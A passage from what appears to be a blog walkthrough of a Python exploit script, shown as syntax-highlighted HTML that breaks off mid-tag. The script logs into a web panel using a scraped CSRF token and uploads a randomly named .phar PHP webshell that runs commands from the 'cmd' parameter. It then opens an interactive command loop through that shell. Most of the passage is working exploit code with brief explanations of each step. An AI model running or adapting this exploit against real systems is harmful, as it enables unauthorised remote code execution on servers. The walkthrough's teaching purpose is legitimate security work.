#89DDFF\">(<\/span><span style=\"color: #82AAFF\">auth<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">text<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&lt;=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #F78C6C\">7000<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Login failed... Check credentials<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #89DDFF; font-style: italic\">else<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">                <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Login Successful!<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #89DDFF; font-style: italic\">else<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[x] Failed to got CSRF token<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">            <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">except<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">exceptions<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">ConnectionError<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF; font-style: italic\">as<\/span><span style=\"color: #EEFFFF\"> err<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #C3E88D\">[x] Failed to Connect in: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">url_login<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[x] This host seems to be Down<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">return<\/span><span style=\"color: #EEFFFF\"> csrfToken<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>This block is a bit longs, so relevant text has been highlighted. It mainly deals with getting a CSRF token and attempting to login.<\/p>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong><code>session.get(url_login)<\/code><\/strong>: Sends a GET request to the login page to retrieve a CSRF token.<\/li>\n\n\n\n<li><strong><code>BeautifulSoup(get_token_request.text, 'html.parser')<\/code><\/strong>: Parses the HTML response.<\/li>\n\n\n\n<li><strong><code>soup.find('input', attrs={'name': '__st'})['value']<\/code><\/strong>: Extracts the CSRF token from the input field.<\/li>\n\n\n\n<li><code>auth_data<\/code> &#8211;&gt; injects the credential into the request<\/li>\n\n\n\n<li><strong><code>session.post(auth_url, headers=auth_headers, cookies=auth_cookies, data=auth_data)<\/code><\/strong>: Sends a POST request to log in with the CSRF token, username, and password.<\/li>\n\n\n\n<li><strong>if len(auth.text) &lt;= 7000<\/strong>: Check login success. If the response length is less than or equal to 7000, it indicates a failed login.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:68;--cbp-line-number-width:calc(2 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"def name_rnd():\n    global shell_name\n    print('[+] Generating random name for Webshell...')\n    shell_name = ''.join((random.choice(string.ascii_lowercase) for x in range(15)))\n    time.sleep(1)\n    print('[+] Generated webshell name: '+shell_name+'\\n')\n\n    return shell_name\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">name_rnd<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #C792EA\">global<\/span><span style=\"color: #EEFFFF\"> shell_name<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Generating random name for Webshell...<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    shell_name <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&#39;&#39;<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">join<\/span><span style=\"color: #89DDFF\">((<\/span><span style=\"color: #82AAFF\">random<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">choice<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">string<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">ascii_lowercase<\/span><span style=\"color: #89DDFF\">)<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #89DDFF; font-style: italic\">for<\/span><span style=\"color: #82AAFF\"> x <\/span><span style=\"color: #89DDFF; font-style: italic\">in<\/span><span style=\"color: #82AAFF\"> range<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">15<\/span><span style=\"color: #89DDFF\">)))<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    time<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">sleep<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #F78C6C\">1<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Generated webshell name: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">shell_name<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #EEFFFF\">\\n<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">return<\/span><span style=\"color: #EEFFFF\"> shell_name<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<p>This section generates a random name for the shell.<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li><code>shell_name<\/code> &#8211;&gt; creates a string of 15 random characters<\/li>\n\n\n\n<li><code>time.sleep<\/code> &#8211;&gt; instructs the script to sleep for one second<\/li>\n<\/ul>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers cbp-blur-enabled\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:77;--cbp-line-number-width:calc(2 * 0.6 * .875rem);--cbp-line-highlight-color:rgba(238, 255, 255, 0.2);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"def shell_upload():\n    print('[+] Trying to Upload Webshell..')\n    try:\n        up_url = url_upload\n        up_cookies = {&quot;INTELLI_06c8042c3d&quot;: &quot;15ajqmku31n5e893djc8k8g7a0&quot;, &quot;loader&quot;: &quot;loaded&quot;}\n        up_headers = {&quot;User-Agent&quot;: &quot;Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0&quot;, &quot;Accept&quot;: &quot;*\/*&quot;, &quot;Accept-Language&quot;: &quot;pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3&quot;, &quot;Accept-Encoding&quot;: &quot;gzip, deflate&quot;, &quot;Content-Type&quot;: &quot;multipart\/form-data; boundary=---------------------------6159367931540763043609390275&quot;, &quot;Origin&quot;: &quot;http:\/\/192.168.1.20&quot;, &quot;Connection&quot;: &quot;close&quot;, &quot;Referer&quot;: &quot;http:\/\/192.168.1.20\/panel\/uploads\/&quot;}\n        up_data = &quot;-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;reqid\\&quot;\\r\\n\\r\\n17978446266285\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;cmd\\&quot;\\r\\n\\r\\nupload\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;target\\&quot;\\r\\n\\r\\nl1_Lw\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;__st\\&quot;\\r\\n\\r\\n&quot;+csrfToken+&quot;\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;upload[]\\&quot;; filename=\\&quot;&quot;+shell_name+&quot;.phar\\&quot;\\r\\nContent-Type: application\/octet-stream\\r\\n\\r\\n&lt;?php system($_GET['cmd']); ?&gt;\\n\\r\\n-----------------------------6159367931540763043609390275\\r\\nContent-Disposition: form-data; name=\\&quot;mtime[]\\&quot;\\r\\n\\r\\n1621210391\\r\\n-----------------------------6159367931540763043609390275--\\r\\n&quot;\n        session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)\n\n    except requests.exceptions.HTTPError as conn:\n        print('[x] Failed to Upload Webshell in: '+url_upload+' ')\n        exit()\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-darker\" style=\"background-color: #212121\" tabindex=\"0\"><code><span class=\"line\"><span style=\"color: #C792EA\">def<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #82AAFF\">shell_upload<\/span><span style=\"color: #89DDFF\">():<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[+] Trying to Upload Webshell..<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">try<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        up_url <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> url_upload<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        up_cookies <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">INTELLI_06c8042c3d<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">15ajqmku31n5e893djc8k8g7a0<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loader<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">loaded<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        up_headers <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">{<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">User-Agent<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Mozilla\/5.0 (X11; Linux x86_64; rv:78.0) Gecko\/20100101 Firefox\/78.0<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">*\/*<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Language<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">pt-BR,pt;q=0.8,en-US;q=0.5,en;q=0.3<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Accept-Encoding<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">gzip, deflate<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Content-Type<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">multipart\/form-data; boundary=---------------------------6159367931540763043609390275<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Origin<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Connection<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">close<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">Referer<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">:<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">http:\/\/192.168.1.20\/panel\/uploads\/<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">}<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        up_data <\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">reqid<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">17978446266285<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">cmd<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">upload<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">target<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">l1_Lw<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">__st<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">csrfToken<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">upload[]<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">; filename=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #EEFFFF\">shell_name<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&quot;<\/span><span style=\"color: #C3E88D\">.phar<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Type: application\/octet-stream<\/span><span style=\"color: #EEFFFF\">\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">&lt;?php system($_GET[&#39;cmd&#39;]); ?&gt;<\/span><span style=\"color: #EEFFFF\">\\n\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">Content-Disposition: form-data; name=<\/span><span style=\"color: #EEFFFF\">\\&quot;<\/span><span style=\"color: #C3E88D\">mtime[]<\/span><span style=\"color: #EEFFFF\">\\&quot;\\r\\n\\r\\n<\/span><span style=\"color: #C3E88D\">1621210391<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #C3E88D\">-----------------------------6159367931540763043609390275--<\/span><span style=\"color: #EEFFFF\">\\r\\n<\/span><span style=\"color: #89DDFF\">&quot;<\/span><\/span>\n<span class=\"line cbp-line-highlight cbp-no-blur\"><span style=\"color: #EEFFFF\">        session<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #82AAFF\">post<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #82AAFF\">up_url<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">headers<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">up_headers<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">cookies<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">up_cookies<\/span><span style=\"color: #89DDFF\">,<\/span><span style=\"color: #82AAFF\"> <\/span><span style=\"color: #EEFFFF; font-style: italic\">data<\/span><span style=\"color: #89DDFF\">=<\/span><span style=\"color: #82AAFF\">up_data<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">    <\/span><span style=\"color: #89DDFF; font-style: italic\">except<\/span><span style=\"color: #EEFFFF\"> requests<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">exceptions<\/span><span style=\"color: #89DDFF\">.<\/span><span style=\"color: #F07178\">HTTPError<\/span><span style=\"color: #EEFFFF\"> <\/span><span style=\"color: #89DDFF; font-style: italic\">as<\/span><span style=\"color: #EEFFFF\"> conn<\/span><span style=\"color: #89DDFF\">:<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">print<\/span><span style=\"color: #89DDFF\">(<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\">[x] Failed to Upload Webshell in: <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #82AAFF\">url_upload<\/span><span style=\"color: #89DDFF\">+<\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #C3E88D\"> <\/span><span style=\"color: #89DDFF\">&#39;<\/span><span style=\"color: #89DDFF\">)<\/span><\/span>\n<span class=\"line\"><span style=\"color: #EEFFFF\">        <\/span><span style=\"color: #82AAFF\">exit<\/span><span style=\"color: #89DDFF\">()<\/span><\/span><\/code><\/pre><\/div>\n\n\n\n<ol class=\"wp-block-list\">\n<li><strong>Line 80 &#8211; 83<\/strong> &#8211;&gt; creates cookies, headers and data to be uploaded in the request. This will be shown later when I proxy the exploit traffic through Burp Suite.<\/li>\n\n\n\n<li><strong><code>session.post(up_url, headers=up_headers, cookies=up_cookies, data=up_data)<\/code><\/strong>: Sends a POST request to upload a web shell. Shell is a PHP file that executes system commands passed via the <code>cmd<\/code> parameter.<\/li>\n<\/ol>\n\n\n\n<hr class=\"wp-block-separator has-alpha-channel-opacity\"\/>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro cbp-has-line-numbers\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;--cbp-line-number-color:#EEFFFF;--cbp-line-number-start:90;--cbp-line-number-width:calc(3 * 0.6 * .875rem);line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span style=\"display:flex;align-items:center;padding:16px 0 0 16px;width:100%;text-align:left;background-color:#212121\"><span style=\"background:#d5ffff;padding:0.3rem 0.5rem 0.2rem;border-radius:1rem;font-size:0.8em;line-height:1;height:1.25rem;text-align:center;display:inline-flex;align-items:center;justify-content:center;color:#212121\">Python<\/span><\/span><span role=\"button\" tabindex=\"0\" data-code=\"def code_exec():\n    try:\n        url_clean = url_shell.replace('\/panel', '')\n        req = session.get(url_clean + shell_name + '.phar?cmd=id')\n\n        if req.status_code == 200:\n            print('[+] Upload Success... Webshell path: ' + url_shell + shell_name + '.phar \\n')\n            while True:\n                cmd = input('$ ')\n                x = session.get(url_clean + shell_name + '.phar?cmd='+cmd+'')\n                print(x.text)\n        else:\n            print('\\n[x] Webshell not found... upload seems to have failed')\n    except:\n        print('\\n[x] Failed to execute PHP code...')\" style=\"color:#EEFFFF;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg 